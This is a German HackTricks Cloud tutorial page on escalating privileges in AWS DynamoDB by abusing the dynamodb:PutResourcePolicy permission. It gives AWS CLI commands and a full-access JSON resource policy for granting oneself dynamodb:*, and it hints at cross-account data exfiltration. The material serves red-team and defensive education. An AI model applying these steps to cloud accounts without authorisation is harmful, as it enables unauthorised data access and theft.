AWS - DynamoDB Privesc
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
dynamodb
Für mehr Informationen zu dynamodb siehe:
dynamodb:PutResourcePolicy, und optional dynamodb:GetResourcePolicy
Seit März 2024 bietet AWS resource based policies für DynamoDB (AWS News) an.
Wenn du also dynamodb:PutResourcePolicy für eine Tabelle hast, kannst du dir selbst oder jedem anderen principal einfach vollen Zugriff auf die Tabelle gewähren.
Das Gewähren von dynamodb:PutResourcePolicy an einen zufälligen principal passiert häufig aus Versehen, wenn die Admins denken, dass das Gewähren von dynamodb:Put* dem principal nur erlauben würde, Items in die Datenbank zu schreiben – oder wenn sie dieses Permissionset vor März 2024 vergeben haben...
Idealerweise hast du auch dynamodb:GetResourcePolicy, damit du nicht andere potenziell wichtige Berechtigungen überschreibst, sondern nur die zusätzlichen Berechtigungen injizierst, die du brauchst:
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
Wenn du die aktuelle Policy nicht abrufen kannst, verwende einfach diese, die deinem Principal vollen Zugriff auf die Tabelle gewährt:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
Wenn du es anpassen musst, findest du hier eine Liste aller möglichen DynamoDB-Aktionen: AWS Documentation. Und hier eine Liste aller Aktionen, die über eine resource based policy erlaubt werden können UND welche davon cross-account genutzt werden können (think data exfiltration!): AWS Documentation
Nun, da das Policy-Dokument policy.json bereit ist, setze die resource policy:
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Nun solltest du die benötigten Berechtigungen haben.
Post Exploitation
Soweit ich weiß gibt es keinen anderen direkten Weg, Privilegien in AWS allein durch einige AWS dynamodb-Berechtigungen zu erhöhen. Du kannst sensible Informationen aus den Tabellen lesen (die AWS credentials enthalten könnten) und Informationen in die Tabellen schreiben (was andere Schwachstellen auslösen könnte, wie lambda code injections...), aber all diese Optionen werden bereits in der DynamoDB Post Exploitation page berücksichtigt:
AWS - DynamoDB Post Exploitation
TODO: Daten aus Streams auslesen
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud